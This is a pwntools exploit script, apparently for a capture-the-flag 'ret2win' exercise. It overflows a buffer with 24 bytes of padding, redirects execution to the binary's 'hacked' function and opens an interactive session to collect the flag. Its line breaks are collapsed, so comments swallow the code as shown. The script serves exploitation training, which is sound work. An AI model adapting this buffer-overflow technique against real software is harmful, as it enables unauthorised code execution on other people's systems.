from pwn import *# Allows you to switch between local/GDB/remote from terminaldef start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw)# Specify your GDB script here for debugginggdbscript = '''init-pwndbgcontinue'''.format(**locals())# Set up pwntools for the correct architectureexe = './ret2win'# This will automatically get context arch, bits, os etcelf = context.binary = ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level = 'debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================io = start()# How many bytes to the instruction pointer (EIP)?padding = 24payload = flat( b'A' * 24, elf.functions.hacked # 0x401142)# Save the payload to filewrite('payload', payload)# Send the payloadio.sendlineafter(b':', payload)# Receive the flagio.interactive()